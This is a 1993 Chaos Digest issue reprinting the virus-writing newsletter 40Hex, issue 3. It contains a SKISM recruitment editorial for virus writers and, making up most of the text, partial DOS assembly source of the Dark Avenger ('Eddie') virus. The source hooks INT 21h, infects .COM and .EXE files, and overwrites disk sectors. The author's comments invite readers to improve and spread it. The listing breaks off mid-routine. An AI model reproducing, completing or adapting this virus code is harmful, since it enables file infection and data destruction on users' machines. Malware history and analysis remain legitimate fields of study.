Chaos Digest             Lundi 24 Mai 1993        Volume 1 : Numero 35
                          ISSN  1244-4901

       Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
       Archiviste: Yves-Marie Crabbe
       Co-Redacteurs: Arnaud Bigare, Stephane Briere

TABLE DES MATIERES, #1.35 (24 Mai 1993)
File 1--40H VMag Issue 1 Volume 3 #000-003(1) (reprint)

Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
available at no cost by sending a message to:
                linux-activists-request@niksula.hut.fi
with a mail header or first line containing the following informations:
                    X-Mn-Admin: join CHAOS_DIGEST

The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
155, 93404 St-Ouen Cedex, France.  He is a member of the EICAR and EFF (#1299)
groups.

Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
466893.  Back issues of ChaosD can be found on the Internet as part of the
Computer underground Digest archives.  They're accessible using anonymous FTP:

        * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
        * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
        * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
        * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
        * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
        * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
        * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos

CHAOS DIGEST is an open forum dedicated to sharing French information among
computerists and to the presentation and debate of diverse views. ChaosD
material may be reprinted for non-profit as long as the source is cited.
Some authors do copyright their material, and they should be contacted for
reprint permission.  Readers are encouraged to submit reasoned articles in
French, English or German languages relating to computer culture and
telecommunications.  Articles are preferred to short responses.  Please
avoid quoting previous posts unless absolutely necessary.

DISCLAIMER: The views represented herein do not necessarily represent
            the views of the moderators. Chaos Digest contributors
            assume all responsibility for ensuring that articles
            submitted do not violate copyright protections.

----------------------------------------------------------------------

Date: Tue May 11 09:24:40 PDT 1993
From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
Subject: File 1--40H VMag Issue 1 Volume 3 #000-003(1) (reprint)


40Hex Issue 3                                                      0000

                                Contents
                                --------

  A Word From Hellraiser.......................................0001
  The Dark Avenger Source......................................0002
  Anthrax......................................................0003
  The 40Hex Challenge/The Strange Case of Validate.............0004
  Application for SKISM........................................0005
  Virus News For October/91....................................0006
  The Darth Vader Virus Strain B...............................0007
  Mystery Virus................................................0008
  Tiny-F Source................................................0009
  Afterwords...................................................0010

                                 Staff
                                 -----

  Hellraiser...............Editor/Writer/Programmer/Tech. Consultant
  Garbage Heap.....................Writer/Spell Checker/Distribution

  Special Thanks to...  Demogorgan, Dark Angel, Count Zero, Piff',
                        Paragon Dude, The Fisch, Gambit, Punisher,
                        Nuclear Warhead, Ironlord (and the rest of
                        the alliance people all our freinds in PA, CT,
                        and all over the world, and most of all our
                        readers for your support.


    SKISM distribution sites as of 10/91

    Jihad                   - 1-(408)-XXX-XXXX : California
    The Night Eyes BBS      - 1-(717)-367-3501 : Pennsylvania
    The Punishment Due BBS  - 1-(203)-675-???? : Connecticut   * DOWN *

+++++

40Hex Issue 3                                                      0001

          - Gray would be the color, if I had a heart.


          Well what's up.  Sorry about the delay with issue three
          but there's been a lot of stuff going down.  I've been
          working on a lot of semi-legit projects and all that so
          I haven't gotten around to 40Hex till now.

          Anyway, first big news is this.  SKISM has now co-oped
          with the New York based group PHALCON, thus broadening
          both groups span of diversity.  SKISM being an all virus
          group and PHALCON dealing with mainly h/p.

          Secondly, SKISM is hoping to broaden its membership a
          bit.  We are looking for a few good virus writers.
          Mainly what we need is some people who are very good
          at assembly code and first and foremost virus writing.
          Lame bomb writers, Q-Basic coders and such need not apply.
          We are not just looking for IBM coders, as we are also
          broading to Mac and Amiga.

          Thirdly, SKISM gained a new HQ in PA., it is called Night
          Eyes BBS.  The number is (717)-367-3501, supporting
          12/24/96/14.4 baud rates.

[ChaosD: DOWN! a ce jour... il semblerait qu'il n'est jamais fonctionne!]

          Finally, The Landfill BBS, whos number is listed as the
          SKISM HQ in issue two, is no longer our HQ.  Although
          we are still on very good terms with the staff of that
          BBS, please refrain from calling it with virus related
          topics (they are no-longer h/p, just Amiga wares).  Any-
          way the new New York SKISM base should be up and running
          by tops October.  It will be called Hell On Earth and I
          myself will be sysop.

          Well enjoy...

          - Hellraiser


                             -- Appendum --

          Well about three days after writing this artical I found out
          that I am being shipped to California.  This sucks...

          Well looks like Hell On Earth will be up out there instead of
          New York.

          Call our home boards to keep in touch with the situation.  I
          can still be left mail on Night Eyes.


                            -- Appendum B --
                                10/25/91

          Well, it's been over a month since I wrote the above.  Nothing
          much has changed since then.  I'm in CA. now and without a
          system.  Phalcon members have been going off -- mostly Dark Angel,
          who has a new virus coming out, Bob Ross.  I hope I can get it
          for this issue.

          Anyway, in other news The Punishment Due - Skism distribution
          site has gone down.  I am looking for other BBS's to add the
          collection to.

          More news... There is another Hell On Earth BBS out there so
          it looks like I am going to have to change the name of my
          BBS, when I get my system.  Ironically I am concidering having
          the other Hell On Earth as a Skism distribution site.

          Even more news...  I have been getting a lot of shit cause
          of my name.  There seems to be other Hellraisers out there,
          who claim they were the first... Fuck you all!  I had the name
          since 1989, when I read Clive Barkers novella - "The Hellbound
          Heart."  If you had it before then, its yours.  However after
          calling a lot of boards nationally lately I never had a problem
          logging on due to my name.  Shows how lame people are.

          Well thats it for now... Hope this issue will be out shortly.

+++++

40Hex Issue 3                                                      0002

                            The Dark Avenger

    - We are demons to some, angels to others.

    Well, here it is.  Here is the first major virus source, from the
    man who brought us such greats as V2000, Anthrax, and V2100 to name
    a few.  Well this Bulgarian metal lover was nice enough to freely
    distribute the source code to his first virus.

-----------------------------------------------------------------------------

;"Blessed is he who expects nothing, for he shall not be disappointed."

;The original source of one of the first Bulgarian viruses is in front of
;you.  As you may notice, it's full of rubbish and bugs, but nevertheless
;the virus has spread surprisingly quickly troughout the country and made a
;quick round the globe.  (It's well-known in Eastern and Western Europe, as
;well as in USA.) Due to the aniversary of its creation, the source is
;distributed freely.  You have the rights to distribute the source which can
;be charged or free of charge, with the only condition not to modify it.
;The one, who intentionaly distributes this source modified in any way will
;be punished!  Still, the author will be glad if any of you improves it and
;spreads the resulting executive file (i.e., the virus itself).  Pay
;attention to the fact that after you assemble the source, the resulting
;.COM-file cannot be run.  For that purpose you have to create a three-byte
;file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
;two files.  Don't try to place a JMP at the beginning of the source.

;DISCLAIMER: The author does not take any responsability for any damage,
;either direct or implied, caused by the usage or not of this source or of
;the resulting code after assembly. No warrant is made about the product
;functionability or quality.

;I cannot resist to express my special gratitude to my "populazer" Dipl.
;eng. Vesselin Bontchev, who makes me famous and who, wishing it or
;not, helps very much in the spreading of my viruses, in spite of the fact
;that he tries to do just the opposite (writing programs in C has never
;led to any good).
;Greetings to all virus writers!

code    segment
        assume  cs:code,ds:code
copyright:
        db      'Eddie lives...somewhere in time!',0
date_stamp:
        dd      12239000h
checksum:
        db      30

;Return the control to an .EXE file:
;Restores DS=ES=PSP, loads SS:SP and CS:IP.

exit_exe:
        mov     bx,es
        add     bx,10h
        add     bx,word ptr cs:[si+call_adr+2]
        mov     word ptr cs:[si+patch+2],bx
        mov     bx,word ptr cs:[si+call_adr]
        mov     word ptr cs:[si+patch],bx
        mov     bx,es
        add     bx,10h
        add     bx,word ptr cs:[si+stack_pointer+2]
        mov     ss,bx
        mov     sp,word ptr cs:[si+stack_pointer]
        db      0eah                    ;JMP XXXX:YYYY
patch:
        dd      0

;Returns control to a .COM file:
;Restores the first 3 bytes in the
;beginning of the file, loads SP and IP.

exit_com:

        mov     di,100h
        add     si,offset my_save
        movsb
        movsw
        mov     sp,ds:[6]               ;This is incorrect
        xor     bx,bx
        push    bx
        jmp     [si-11]                 ;si+call_adr-top_file

;Program entry point

startup:
        call    relative
relative:
        pop     si                      ;SI = $
        sub     si,offset relative
        cld
        cmp     word ptr cs:[si+my_save],5a4dh
        je      exe_ok
        cli
        mov     sp,si                   ;A separate stack is supported for
        add     sp,offset top_file+100h ;the .COM files, in order not to
        sti                             ;overlap the stack by the program
        cmp     sp,ds:[6]
        jnc     exit_com
exe_ok:
        push    ax
        push    es
        push    si
        push    ds
        mov     di,si

;Looking for the address of INT 13h handler in ROM-BIOS

        xor     ax,ax
        push    ax
        mov     ds,ax
        les     ax,ds:[13h*4]
        mov     word ptr cs:[si+fdisk],ax
        mov     word ptr cs:[si+fdisk+2],es
        mov     word ptr cs:[si+disk],ax
        mov     word ptr cs:[si+disk+2],es
        mov     ax,ds:[40h*4+2]         ;The INT 13h vector is moved to INT
40h
        cmp     ax,0f000h               ;for diskettes if a hard disk is
        jne     nofdisk                 ;available
        mov     word ptr cs:[si+disk+2],ax
        mov     ax,ds:[40h*4]
        mov     word ptr cs:[si+disk],ax
        mov     dl,80h
        mov     ax,ds:[41h*4+2]         ;INT 41h usually points the segment,
        cmp     ax,0f000h               ;where the original INT 13h vector is
        je      isfdisk
        cmp     ah,0c8h
        jc      nofdisk
        cmp     ah,0f4h
        jnc     nofdisk
        test    al,7fh
        jnz     nofdisk
        mov     ds,ax
        cmp     ds:[0],0aa55h
        jne     nofdisk
        mov     dl,ds:[2]
isfdisk:
        mov     ds,ax
        xor     dh,dh
        mov     cl,9
        shl     dx,cl
        mov     cx,dx
        xor     si,si
findvect:
        lodsw                           ;Occasionally begins with:
        cmp     ax,0fa80h               ;       CMP     DL,80h
        jne     altchk                  ;       JNC     somewhere
        lodsw
        cmp     ax,7380h
        je      intchk
        jne     nxt0
altchk:
        cmp     ax,0c2f6h               ;or with:
        jne     nxt                     ;       TEST    DL,80h
        lodsw                           ;       JNZ     somewhere
        cmp     ax,7580h
        jne     nxt0
intchk:
        inc     si                      ;then there is:
        lodsw                           ;       INT     40h
        cmp     ax,40cdh
        je      found
        sub     si,3
nxt0:
        dec     si
        dec     si
nxt:
        dec     si
        loop    findvect
        jmp     short nofdisk
found:
        sub     si,7
        mov     word ptr cs:[di+fdisk],si
        mov     word ptr cs:[di+fdisk+2],ds
nofdisk:
        mov     si,di
        pop     ds

;Check whether the program is present in memory:

        les     ax,ds:[21h*4]
        mov     word ptr cs:[si+save_int_21],ax
        mov     word ptr cs:[si+save_int_21+2],es
        push    cs
        pop     ds
        cmp     ax,offset int_21
        jne     bad_func
        xor     di,di
        mov     cx,offset my_size
scan_func:
        lodsb
        scasb
        jne     bad_func
        loop    scan_func
        pop     es
        jmp     go_program

;Move the program to the top of memory:
;(it's full of rubbish and bugs here)

bad_func:
        pop     es
        mov     ah,49h
        int     21h
        mov     bx,0ffffh
        mov     ah,48h
        int     21h
        sub     bx,(top_bz+my_bz+1ch-1)/16+2
        jc      go_program
        mov     cx,es
        stc
        adc     cx,bx
        mov     ah,4ah
        int     21h
        mov     bx,(offset top_bz+offset my_bz+1ch-1)/16+1
        stc
        sbb     es:[2],bx
        push    es
        mov     es,cx
        mov     ah,4ah
        int     21h
        mov     ax,es
        dec     ax
        mov     ds,ax
        mov     word ptr ds:[1],8
        call    mul_16
        mov     bx,ax
        mov     cx,dx
        pop     ds
        mov     ax,ds
        call    mul_16
        add     ax,ds:[6]
        adc     dx,0
        sub     ax,bx
        sbb     dx,cx
        jc      mem_ok
        sub     ds:[6],ax               ;Reduction of the segment size
mem_ok:
        pop     si
        push    si
        push    ds
        push    cs
        xor     di,di
        mov     ds,di
        lds     ax,ds:[27h*4]
        mov     word ptr cs:[si+save_int_27],ax
        mov     word ptr cs:[si+save_int_27+2],ds
        pop     ds
        mov     cx,offset aux_size
        rep     movsb
        xor     ax,ax
        mov     ds,ax
        mov     ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
        mov     ds:[21h*4+2],es
        mov     ds:[27h*4],offset int_27
        mov     ds:[27h*4+2],es
        mov     word ptr es:[filehndl],ax
        pop     es
go_program:
        pop     si

;Smash the next disk sector:

        xor     ax,ax
        mov     ds,ax
        mov     ax,ds:[13h*4]
        mov     word ptr cs:[si+save_int_13],ax
        mov     ax,ds:[13h*4+2]
        mov     word ptr cs:[si+save_int_13+2],ax
        mov     ds:[13h*4],offset int_13
        add     ds:[13h*4],si
        mov     ds:[13h*4+2],cs
        pop     ds
        push    ds
        push    si
        mov     bx,si
        lds     ax,ds:[2ah]
        xor     si,si
        mov     dx,si
scan_envir:                             ;Fetch program's name
        lodsw                           ;(with DOS 2.x it doesn't work anyway)
        dec     si
        test    ax,ax
        jnz     scan_envir
        add     si,3
        lodsb

;The following instruction is a complete nonsense.  Try to enter a drive &
;directory path in lowercase, then run an infected program from there.
;As a result of an error here + an error in DOS the next sector is not
;smashed. Two memory bytes are smashed instead, most probably onto the
;infected program.

        sub     al,'A'
        mov     cx,1
        push    cs
        pop     ds
        add     bx,offset int_27
        push    ax
        push    bx
        push    cx
        int     25h
        pop     ax
        pop     cx
        pop     bx
        inc     byte ptr [bx+0ah]
        and     byte ptr [bx+0ah],0fh   ;It seems that 15 times doing
        jnz     store_sec               ;nothing is not enough for some.
        mov     al,[bx+10h]
        xor     ah,ah
        mul     word ptr [bx+16h]
        add     ax,[bx+0eh]
        push    ax
        mov     ax,[bx+11h]
        mov     dx,32
        mul     dx
        div     word ptr [bx+0bh]
        pop     dx
        add     dx,ax
        mov     ax,[bx+8]
        add     ax,40h
        cmp     ax,[bx+13h]
        jc      store_new
        inc     ax
        and     ax,3fh
        add     ax,dx
        cmp     ax,[bx+13h]
        jnc     small_disk
store_new:
        mov     [bx+8],ax
store_sec:
        pop     ax
        xor     dx,dx
        push    ax
        push    bx
        push    cx
        int     26h

;The writing trough this interrupt is not the smartest thing, bacause it
;can be intercepted (what Vesselin Bontchev has managed to notice).

        pop     ax
        pop     cx
        pop     bx
        pop     ax
        cmp     byte ptr [bx+0ah],0
        jne     not_now
        mov     dx,[bx+8]
        pop     bx
        push    bx
        int     26h
small_disk:
        pop     ax
not_now:
        pop     si
        xor     ax,ax
        mov     ds,ax
        mov     ax,word ptr cs:[si+save_int_13]
        mov     ds:[13h*4],ax
        mov     ax,word ptr cs:[si+save_int_13+2]
        mov     ds:[13h*4+2],ax
        pop     ds
        pop     ax
        cmp     word ptr cs:[si+my_save],5a4dh
        jne     go_exit_com
        jmp     exit_exe
go_exit_com:
        jmp     exit_com
int_24:
        mov     al,3                    ;This instruction seems unnecessary
        iret

;INT 27h handler (this is necessary)

int_27:
        pushf
        call    alloc
        popf
        jmp     dword ptr cs:[save_int_27]

;During the DOS functions Set & Get Vector it seems that the virus has not
;intercepted them (this is a doubtfull advantage and it is a possible
;source of errors with some "intelligent" programs)

set_int_27:
        mov     word ptr cs:[save_int_27],dx
        mov     word ptr cs:[save_int_27+2],ds
        popf
        iret
set_int_21:
        mov     word ptr cs:[save_int_21],dx
        mov     word ptr cs:[save_int_21+2],ds
        popf
        iret
get_int_27:
        les     bx,dword ptr cs:[save_int_27]
        popf
        iret
get_int_21:
        les     bx,dword ptr cs:[save_int_21]
        popf
        iret

exec:
        call    do_file
        call    alloc
        popf
        jmp     dword ptr cs:[save_int_21]

        db      'Diana P.',0

;INT 21h handler.  Infects files during execution, copying, browsing or
;creating and some other operations. The execution of functions 0 and 26h
;has bad consequences.

int_21:
        push    bp
        mov     bp,sp
        push    [bp+6]
        popf
        pop     bp
        pushf
        call    ontop
        cmp     ax,2521h
        je      set_int_21
        cmp     ax,2527h
        je      set_int_27
        cmp     ax,3521h
        je      get_int_21
        cmp     ax,3527h
        je      get_int_27
        cld
        cmp     ax,4b00h
        je      exec
        cmp     ah,3ch
        je      create
        cmp     ah,3eh
        je      close
        cmp     ah,5bh
        jne     not_create
create:
        cmp     word ptr cs:[filehndl],0;May be 0 if the file is open
        jne     dont_touch
        call    see_name
        jnz     dont_touch
        call    alloc
        popf
        call    function
        jc      int_exit
        pushf
        push    es
        push    cs
        pop     es
        push    si
        push    di
        push    cx
        push    ax
        mov     di,offset filehndl
        stosw
        mov     si,dx
        mov     cx,65
move_name:
        lodsb
        stosb
        test    al,al
        jz      all_ok
        loop    move_name
        mov     word ptr es:[filehndl],cx
all_ok:
        pop     ax
        pop     cx
        pop     di
        pop     si
        pop     es
go_exit:
        popf
        jnc     int_exit                ;JMP
close:
        cmp     bx,word ptr cs:[filehndl]
        jne     dont_touch
        test    bx,bx
        jz      dont_touch
        call    alloc
        popf
        call    function
        jc      int_exit
        pushf
        push    ds
        push    cs
        pop     ds
        push    dx
        mov     dx,offset filehndl+2
        call    do_file
        mov     word ptr cs:[filehndl],0
        pop     dx
        pop     ds
        jmp     go_exit
not_create:
        cmp     ah,3dh
        je      touch
        cmp     ah,43h
        je      touch
        cmp     ah,56h                  ;Unfortunately, the command inter-
        jne     dont_touch              ;preter does not use this function
touch:
        call    see_name
        jnz     dont_touch
        call    do_file
dont_touch:
        call    alloc
        popf
        call    function
int_exit:
        pushf
        push    ds
        call    get_chain
        mov     byte ptr ds:[0],'Z'
        pop     ds
        popf
dummy   proc    far                     ;???
        ret     2
dummy   endp

;Checks whether the file is .COM or .EXE.
;It is not called upon file execution.

see_name:
        push    ax
        push    si
        mov     si,dx
scan_name:
        lodsb
        test    al,al
        jz      bad_name
        cmp     al,'.'
        jnz     scan_name
        call    get_byte
        mov     ah,al
        call    get_byte
        cmp     ax,'co'
        jz      pos_com
        cmp     ax,'ex'
        jnz     good_name
        call    get_byte
        cmp     al,'e'
        jmp     short good_name
pos_com:
        call    get_byte
        cmp     al,'m'
        jmp     short good_name
bad_name:
        inc     al
good_name:
        pop     si
        pop     ax
        ret

;Converts into lowercase (the subroutines are a great thing).

get_byte:
        lodsb
        cmp     al,'C'
        jc      byte_got
        cmp     al,'Y'
        jnc     byte_got
        add     al,20h
byte_got:
        ret

;Calls the original INT 21h.

function:
        pushf
        call    dword ptr cs:[save_int_21]
        ret

;Arrange to infect an executable file.

do_file:
        push    ds                      ;Save the registers in stack
        push    es
        push    si
        push    di
        push    ax
        push    bx
        push    cx
        push    dx
        mov     si,ds
        xor     ax,ax
        mov     ds,ax
        les     ax,ds:[24h*4]           ;Saves INT 13h and INT 24h in stack
        push    es                      ;and changes them with what is needed
        push    ax
        mov     ds:[24h*4],offset int_24
        mov     ds:[24h*4+2],cs
        les     ax,ds:[13h*4]
        mov     word ptr cs:[save_int_13],ax
        mov     word ptr cs:[save_int_13+2],es
        mov     ds:[13h*4],offset int_13
        mov     ds:[13h*4+2],cs
        push    es
        push    ax
        mov     ds,si
        xor     cx,cx                   ;Arranges to infect Read-only files
        mov     ax,4300h
        call    function
        mov     bx,cx
        and     cl,0feh
        cmp     cl,bl
        je      dont_change
        mov     ax,4301h
        call    function
        stc
dont_change:
        pushf
        push    ds
        push    dx
        push    bx
        mov     ax,3d02h                ;Now we can safely open the file
        call    function
        jc      cant_open
        mov     bx,ax
        call    disease
        mov     ah,3eh                  ;Close it

        call    function
cant_open:
        pop     cx
        pop     dx
        pop     ds
        popf
        jnc     no_update
        mov     ax,4301h                ;Restores file's attributes
        call    function                ;if they were changed (just in case)
no_update:
        xor     ax,ax                   ;Restores INT 13h and INT 24h
        mov     ds,ax
        pop     ds:[13h*4]
        pop     ds:[13h*4+2]
        pop     ds:[24h*4]
        pop     ds:[24h*4+2]
        pop     dx                      ;Register restoration
        pop     cx
        pop     bx
        pop     ax
        pop     di
        pop     si
        pop     es
        pop     ds
        ret

;This routine is the working horse.

disease:
        push    cs
        pop     ds
        push    cs
        pop     es
        mov     dx,offset top_save      ;Read the file beginning
        mov     cx,18h
        mov     ah,3fh
        int     21h
        xor     cx,cx
        xor     dx,dx
        mov     ax,4202h                ;Save file length
        int     21h
        mov     word ptr [top_save+1ah],dx
        cmp     ax,offset my_size       ;This should be top_file
        sbb     dx,0
        jc      stop_fuck_2             ;Small files are not infected
        mov     word ptr [top_save+18h],ax
        cmp     word ptr [top_save],5a4dh
        jne     com_file
        mov     ax,word ptr [top_save+8]
        add     ax,word ptr [top_save+16h]
        call    mul_16
        add     ax,word ptr [top_save+14h]
        adc     dx,0
        mov     cx,dx
        mov     dx,ax
        jmp     short see_sick
com_file:
        cmp     byte ptr [top_save],0e9h
        jne     see_fuck
        mov     dx,word ptr [top_save+1]
        add     dx,103h
        jc      see_fuck
        dec     dh
        xor     cx,cx

------------------------------

End of Chaos Digest #1.35
************************************

Downloaded From P-80 International Information Systems 304-744-2253
